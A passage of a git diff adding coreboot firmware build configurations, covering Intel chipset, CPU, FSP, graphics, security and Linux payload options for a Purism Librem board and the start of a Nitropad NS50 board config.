+CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y +CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y +CONFIG_SUPERIO_ITE_IT8528E=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_ACPI_CF9_FULL_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_HAVE_DPTF_EISA_HID=y +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_PLATFORM_USES_SECOND_FSP=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_S_CBFS_2="fsps_2.bin" +CONFIG_FSP_M_CBFS_2="fspm_2.bin" +CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" +CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZMA=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Cannon_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +CONFIG_NO_TPM=y +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_SPD_CACHE_IN_FMAP=y +CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 501a0d40b..cc37e297e 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -1,28 +1,877 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Not Applicable" +CONFIG_MAINBOARD_PART_NUMBER="ns50pu" CONFIG_MAINBOARD_VERSION="v2.1" +CONFIG_MAINBOARD_DIR="clevo/adl-p" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Notebook" CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=24 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_VARIANT_DIR="ns50pu" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_BOARD_CLEVO_ADLP_COMMON=y +CONFIG_BOARD_CLEVO_NS50PU_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NS51" +CONFIG_CONSOLE_POST=y +# CONFIG_USE_PM_ACPI_TIMER is not set +CONFIG_TPM_PIRQ=0x27 +# 